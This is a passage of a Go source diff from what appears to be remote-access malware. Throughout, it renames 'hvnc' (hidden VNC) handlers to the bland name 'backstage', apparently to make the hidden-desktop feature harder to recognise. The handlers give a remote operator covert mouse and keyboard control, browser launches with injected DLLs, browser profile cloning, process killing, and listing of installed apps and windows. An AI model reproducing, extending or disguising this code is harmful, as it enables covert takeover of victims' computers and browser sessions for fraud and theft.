sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_select_display":
|
||||
case "backstage_select_display":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
disp := 0
|
||||
if payload != nil {
|
||||
@@ -1173,11 +1173,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
disp = int(v)
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: select display %d", disp)
|
||||
_ = HVNCSelect(ctx, env, disp)
|
||||
log.Printf("backstage: select display %d", disp)
|
||||
_ = backstageSelect(ctx, env, disp)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_enable_mouse":
|
||||
case "backstage_enable_mouse":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
enabled := true
|
||||
if payload != nil {
|
||||
@@ -1191,11 +1191,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: mouse control %v", enabled)
|
||||
_ = HVNCMouseControl(ctx, env, enabled)
|
||||
log.Printf("backstage: mouse control %v", enabled)
|
||||
_ = backstageMouseControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_enable_keyboard":
|
||||
case "backstage_enable_keyboard":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
enabled := true
|
||||
if payload != nil {
|
||||
@@ -1209,11 +1209,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: keyboard control %v", enabled)
|
||||
_ = HVNCKeyboardControl(ctx, env, enabled)
|
||||
log.Printf("backstage: keyboard control %v", enabled)
|
||||
_ = backstageKeyboardControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_enable_cursor":
|
||||
case "backstage_enable_cursor":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
enabled := false
|
||||
if payload != nil {
|
||||
@@ -1227,11 +1227,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: cursor capture %v", enabled)
|
||||
_ = HVNCCursorControl(ctx, env, enabled)
|
||||
log.Printf("backstage: cursor capture %v", enabled)
|
||||
_ = backstageCursorControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_enable_dxgi":
|
||||
case "backstage_enable_dxgi":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
dxgiEnabled := true
|
||||
if payload != nil {
|
||||
@@ -1239,11 +1239,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
dxgiEnabled = v
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: DXGI capture %v", dxgiEnabled)
|
||||
capture.SetHVNCDXGIEnabled(dxgiEnabled)
|
||||
log.Printf("backstage: DXGI capture %v", dxgiEnabled)
|
||||
capture.SetbackstageDXGIEnabled(dxgiEnabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_enable_uia":
|
||||
case "backstage_enable_uia":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
uiaEnabled := true
|
||||
if payload != nil {
|
||||
@@ -1251,11 +1251,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
uiaEnabled = v
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: UIA support %v", uiaEnabled)
|
||||
capture.SetHVNCUIAEnabled(uiaEnabled)
|
||||
log.Printf("backstage: UIA support %v", uiaEnabled)
|
||||
capture.SetbackstageUIAEnabled(uiaEnabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_set_resolution":
|
||||
case "backstage_set_resolution":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
maxH := 1080
|
||||
if payload != nil {
|
||||
@@ -1263,11 +1263,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
maxH = v
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: set resolution maxHeight=%d", maxH)
|
||||
log.Printf("backstage: set resolution maxHeight=%d", maxH)
|
||||
capture.SetMaxResolution(maxH)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_set_fps":
|
||||
case "backstage_set_fps":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
fps := 120
|
||||
if payload != nil {
|
||||
@@ -1279,14 +1279,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
fps = SetVirtualTargetFPS(fps)
|
||||
} else {
|
||||
// Also seed virtual mode so a setting sent immediately before
|
||||
// hvnc_start is retained when that start selects virtual mode.
|
||||
fps = SetHVNCTargetFPS(fps)
|
||||
// backstage_start is retained when that start selects virtual mode.
|
||||
fps = SetbackstageTargetFPS(fps)
|
||||
SetVirtualTargetFPS(fps)
|
||||
}
|
||||
log.Printf("hvnc: set target fps=%d", fps)
|
||||
log.Printf("backstage: set target fps=%d", fps)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_set_quality":
|
||||
case "backstage_set_quality":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
quality := 90
|
||||
codec := ""
|
||||
@@ -1298,16 +1298,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
codec = v
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: set quality=%d codec=%s", quality, codec)
|
||||
log.Printf("backstage: set quality=%d codec=%s", quality, codec)
|
||||
capture.SetQualityAndCodec(quality, codec)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_request_keyframe":
|
||||
log.Printf("hvnc: request full frame")
|
||||
capture.RequestHVNCFullFrame()
|
||||
case "backstage_request_keyframe":
|
||||
log.Printf("backstage: request full frame")
|
||||
capture.RequestbackstageFullFrame()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_mouse_move":
|
||||
case "backstage_mouse_move":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
x, y := int32(0), int32(0)
|
||||
if payload != nil {
|
||||
@@ -1372,14 +1372,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
capture.VirtualInputMouseMove(x, y)
|
||||
return nil
|
||||
}
|
||||
if !env.HVNCMouseControl {
|
||||
if !env.BackstageMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseMove, display: env.HVNCSelectedDisplay, x: x, y: y})
|
||||
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseMove, display: env.BackstageSelectedDisplay, x: x, y: y})
|
||||
return nil
|
||||
case "hvnc_mouse_down":
|
||||
if env.VirtualCancel == nil && !env.HVNCMouseControl {
|
||||
case "backstage_mouse_down":
|
||||
if env.VirtualCancel == nil && !env.BackstageMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1475,10 +1475,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
_ = capture.VirtualInputMouseDown(btn)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseDown, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
|
||||
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseDown, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y})
|
||||
return nil
|
||||
case "hvnc_mouse_up":
|
||||
if env.VirtualCancel == nil && !env.HVNCMouseControl {
|
||||
case "backstage_mouse_up":
|
||||
if env.VirtualCancel == nil && !env.BackstageMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1574,10 +1574,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
_ = capture.VirtualInputMouseUp(btn)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseUp, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
|
||||
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseUp, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y})
|
||||
return nil
|
||||
case "hvnc_mouse_wheel":
|
||||
if env.VirtualCancel == nil && !env.HVNCMouseControl {
|
||||
case "backstage_mouse_wheel":
|
||||
if env.VirtualCancel == nil && !env.BackstageMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1673,10 +1673,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
_ = capture.VirtualInputMouseWheel(delta)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseWheel, display: env.HVNCSelectedDisplay, delta: delta, x: x, y: y})
|
||||
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseWheel, display: env.BackstageSelectedDisplay, delta: delta, x: x, y: y})
|
||||
return nil
|
||||
case "hvnc_key_down":
|
||||
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
|
||||
case "backstage_key_down":
|
||||
if env.VirtualCancel == nil && !env.BackstageKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1687,7 +1687,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
code = v
|
||||
}
|
||||
}
|
||||
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
||||
if vk := keyCodeToVKbackstage(code); vk != 0 {
|
||||
if env.VirtualCancel != nil {
|
||||
if !env.VirtualKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
@@ -1696,11 +1696,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
capture.VirtualInputKeyDown(vk)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk})
|
||||
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk})
|
||||
}
|
||||
return nil
|
||||
case "hvnc_key_up":
|
||||
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
|
||||
case "backstage_key_up":
|
||||
if env.VirtualCancel == nil && !env.BackstageKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1711,7 +1711,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
code = v
|
||||
}
|
||||
}
|
||||
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
||||
if vk := keyCodeToVKbackstage(code); vk != 0 {
|
||||
if env.VirtualCancel != nil {
|
||||
if !env.VirtualKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
@@ -1720,10 +1720,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
capture.VirtualInputKeyUp(vk)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk})
|
||||
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyUp, vk: vk})
|
||||
}
|
||||
return nil
|
||||
case "hvnc_start_process":
|
||||
case "backstage_start_process":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
filePath := ""
|
||||
killExe := ""
|
||||
@@ -1757,12 +1757,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
})
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
|
||||
log.Printf("backstage: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_process", nil, func() {
|
||||
goSafe("backstage_start_process", nil, func() {
|
||||
sendLaunchStatus := func(step string, success bool, detail string) {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
|
||||
Type: "hvnc_browser_launch_status",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{
|
||||
Type: "backstage_browser_launch_status",
|
||||
Browser: filepath.Base(strings.Trim(filePath, `"`)),
|
||||
Step: step,
|
||||
Success: success,
|
||||
@@ -1772,14 +1772,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
if killExe != "" {
|
||||
sendLaunchStatus("kill", true, "killing "+killExe)
|
||||
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
|
||||
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
|
||||
log.Printf("backstage: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
|
||||
if err != nil {
|
||||
sendLaunchStatus("kill", false, fmt.Sprintf("taskkill failed: %s", strings.TrimSpace(string(out))))
|
||||
}
|
||||
}
|
||||
sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath))
|
||||
if err := capture.StartHVNCProcess(filePath, operaPatch, display); err != nil {
|
||||
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
|
||||
if err := capture.StartbackstageProcess(filePath, operaPatch, display); err != nil {
|
||||
log.Printf("backstage: start process failed for %q: %v", filePath, err)
|
||||
sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err))
|
||||
} else {
|
||||
sendLaunchStatus("launch", true, "process created")
|
||||
@@ -1787,7 +1787,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_kill_all":
|
||||
case "backstage_kill_all":
|
||||
if env.VirtualCancel != nil {
|
||||
log.Printf("hidden: kill all processes on virtual monitor")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
@@ -1798,23 +1798,23 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
})
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: kill all processes on hidden desktop")
|
||||
log.Printf("backstage: kill all processes on hidden desktop")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_kill_all", nil, func() {
|
||||
if err := capture.HVNCKillAll(); err != nil {
|
||||
log.Printf("hvnc: kill all failed: %v", err)
|
||||
goSafe("backstage_kill_all", nil, func() {
|
||||
if err := capture.BackstageKillAll(); err != nil {
|
||||
log.Printf("backstage: kill all failed: %v", err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_window_list":
|
||||
log.Printf("hvnc: window list requested")
|
||||
case "backstage_window_list":
|
||||
log.Printf("backstage: window list requested")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_window_list", nil, func() {
|
||||
windows, monitors := capture.HVNCEnumWindows()
|
||||
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
|
||||
goSafe("backstage_window_list", nil, func() {
|
||||
windows, monitors := capture.BackstageEnumWindows()
|
||||
winEntries := make([]wire.BackstageWindowEntry, 0, len(windows))
|
||||
for _, w := range windows {
|
||||
winEntries = append(winEntries, wire.HVNCWindowEntry{
|
||||
winEntries = append(winEntries, wire.BackstageWindowEntry{
|
||||
Title: w.Title,
|
||||
X: w.X,
|
||||
Y: w.Y,
|
||||
@@ -1825,9 +1825,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
Monitor: w.Monitor,
|
||||
})
|
||||
}
|
||||
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
|
||||
monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors))
|
||||
for _, m := range monitors {
|
||||
monEntries = append(monEntries, wire.HVNCMonitorEntry{
|
||||
monEntries = append(monEntries, wire.BackstageMonitorEntry{
|
||||
Index: m.Index,
|
||||
Name: m.Name,
|
||||
X: m.X,
|
||||
@@ -1837,63 +1837,63 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
Primary: m.Primary,
|
||||
})
|
||||
}
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
|
||||
Type: "hvnc_window_list_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{
|
||||
Type: "backstage_window_list_result",
|
||||
Windows: winEntries,
|
||||
Monitors: monEntries,
|
||||
})
|
||||
log.Printf("hvnc: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
|
||||
log.Printf("backstage: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_browser_check":
|
||||
log.Printf("hvnc: browser availability check requested")
|
||||
case "backstage_browser_check":
|
||||
log.Printf("backstage: browser availability check requested")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_browser_check", nil, func() {
|
||||
goSafe("backstage_browser_check", nil, func() {
|
||||
browsers := capture.CheckInstalledBrowsers()
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserCheckResult{
|
||||
Type: "hvnc_browser_check_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserCheckResult{
|
||||
Type: "backstage_browser_check_result",
|
||||
Browsers: browsers,
|
||||
})
|
||||
log.Printf("hvnc: browser check complete: %v", browsers)
|
||||
log.Printf("backstage: browser check complete: %v", browsers)
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_installed_apps":
|
||||
log.Printf("hvnc: installed apps enumeration requested")
|
||||
case "backstage_installed_apps":
|
||||
log.Printf("backstage: installed apps enumeration requested")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_installed_apps", nil, func() {
|
||||
goSafe("backstage_installed_apps", nil, func() {
|
||||
const batchSize = 15
|
||||
apps := enumerateInstalledApps()
|
||||
log.Printf("hvnc: enumerated %d installed apps, extracting icons in batches", len(apps))
|
||||
var batch []wire.HVNCInstalledApp
|
||||
log.Printf("backstage: enumerated %d installed apps, extracting icons in batches", len(apps))
|
||||
var batch []wire.BackstageInstalledApp
|
||||
sent := 0
|
||||
for _, a := range apps {
|
||||
batch = append(batch, wire.HVNCInstalledApp{
|
||||
batch = append(batch, wire.BackstageInstalledApp{
|
||||
Name: a.name,
|
||||
ExePath: a.exePath,
|
||||
Icon: extractIconBase64(a.exePath),
|
||||
})
|
||||
if len(batch) >= batchSize {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{
|
||||
Type: "hvnc_installed_apps_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{
|
||||
Type: "backstage_installed_apps_result",
|
||||
Apps: batch,
|
||||
})
|
||||
sent += len(batch)
|
||||
batch = batch[:0]
|
||||
}
|
||||
}
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{
|
||||
Type: "hvnc_installed_apps_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{
|
||||
Type: "backstage_installed_apps_result",
|
||||
Apps: batch,
|
||||
Done: true,
|
||||
})
|
||||
sent += len(batch)
|
||||
log.Printf("hvnc: installed apps complete, sent %d apps", sent)
|
||||
log.Printf("backstage: installed apps complete, sent %d apps", sent)
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_lookup":
|
||||
case "backstage_lookup":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
exeName := ""
|
||||
if payload != nil {
|
||||
@@ -1905,28 +1905,28 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, false, "no exe name provided")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: lookup exe %q", exeName)
|
||||
log.Printf("backstage: lookup exe %q", exeName)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_lookup", nil, func() {
|
||||
goSafe("backstage_lookup", nil, func() {
|
||||
filesearch.LookupExe(exeName, 8, func(path string) {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
|
||||
Type: "hvnc_lookup_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{
|
||||
Type: "backstage_lookup_result",
|
||||
Exe: exeName,
|
||||
Path: path,
|
||||
Done: false,
|
||||
})
|
||||
})
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
|
||||
Type: "hvnc_lookup_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{
|
||||
Type: "backstage_lookup_result",
|
||||
Exe: exeName,
|
||||
Path: "",
|
||||
Done: true,
|
||||
})
|
||||
log.Printf("hvnc: lookup complete for %q", exeName)
|
||||
log.Printf("backstage: lookup complete for %q", exeName)
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_start_process_injected":
|
||||
case "backstage_start_process_injected":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
filePath := ""
|
||||
searchPath := ""
|
||||
@@ -1952,16 +1952,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
}
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
log.Printf("hvnc: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
|
||||
log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_process_injected", nil, func() {
|
||||
if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
|
||||
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
|
||||
goSafe("backstage_start_process_injected", nil, func() {
|
||||
if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
|
||||
log.Printf("backstage: injected process failed for %q: %v", filePath, err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_start_chrome_injected":
|
||||
case "backstage_start_chrome_injected":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
chromePath := ""
|
||||
if payload != nil {
|
||||
@@ -1974,17 +1974,17 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
|
||||
log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_chrome_injected", nil, func() {
|
||||
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
|
||||
log.Printf("hvnc: chrome injected failed: %v", err)
|
||||
goSafe("backstage_start_chrome_injected", nil, func() {
|
||||
if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
|
||||
log.Printf("backstage: chrome injected failed: %v", err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_start_browser_injected":
|
||||
case "backstage_start_browser_injected":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
browser := ""
|
||||
exePath := ""
|
||||
@@ -2021,15 +2021,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
|
||||
log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_browser_injected", nil, func() {
|
||||
goSafe("backstage_start_browser_injected", nil, func() {
|
||||
var onProgress capture.CloneProgressFunc
|
||||
if clone {
|
||||
onProgress = func(percent int, copiedBytes, totalBytes int64, status string) {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCCloneProgress{
|
||||
Type: "hvnc_clone_progress",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageCloneProgress{
|
||||
Type: "backstage_clone_progress",
|
||||
Browser: browser,
|
||||
Percent: percent,
|
||||
CopiedBytes: copiedBytes,
|
||||
@@ -2039,24 +2039,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
}
|
||||
}
|
||||
onDXGIStatus := func(success bool, gpuPID uint32, message string) {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{
|
||||
Type: "hvnc_dxgi_status",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageDXGIStatus{
|
||||
Type: "backstage_dxgi_status",
|
||||
Success: success,
|
||||
GPUPid: gpuPID,
|
||||
Message: message,
|
||||
})
|
||||
}
|
||||
onLaunchStatus := func(step string, success bool, detail string) {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
|
||||
Type: "hvnc_browser_launch_status",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{
|
||||
Type: "backstage_browser_launch_status",
|
||||
Browser: browser,
|
||||
Step: step,
|
||||
Success: success,
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
|
||||
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||
if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
|
||||
log.Printf("backstage: browser injected failed for %q: %v", browser, err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
@@ -2178,7 +2178,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
case "virtual_request_keyframe":
|
||||
log.Printf("hidden: request full frame")
|
||||
capture.RequestHVNCFullFrame()
|
||||
capture.RequestbackstageFullFrame()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "virtual_mouse_move":
|
||||
@@ -2302,9 +2302,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("virtual_window_list", nil, func() {
|
||||
windows, monitors := capture.VirtualEnumWindows()
|
||||
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
|
||||
winEntries := make([]wire.BackstageWindowEntry, 0, len(windows))
|
||||
for _, w := range windows {
|
||||
winEntries = append(winEntries, wire.HVNCWindowEntry{
|
||||
winEntries = append(winEntries, wire.BackstageWindowEntry{
|
||||
Title: w.Title,
|
||||
X: w.X,
|
||||
Y: w.Y,
|
||||
@@ -2315,9 +2315,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
Monitor: w.Monitor,
|
||||
})
|
||||
}
|
||||
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
|
||||
monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors))
|
||||
for _, m := range monitors {
|
||||
monEntries = append(monEntries, wire.HVNCMonitorEntry{
|
||||
monEntries = append(monEntries, wire.BackstageMonitorEntry{
|
||||
Index: m.Index,
|
||||
Name: m.Name,
|
||||
X: m.X,
|
||||
@@ -2327,8 +2327,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
Primary: m.Primary,
|
||||
})
|
||||
}
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
|
||||
Type: "hvnc_window_list_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{
|
||||
Type: "backstage_window_list_result",
|
||||
Windows: winEntries,
|
||||
Monitors: monEntries,
|
||||
})
|
||||
|
||||
@@ -71,8 +71,8 @@ func isInputCommand(cmdType string) bool {
|
||||
switch cmdType {
|
||||
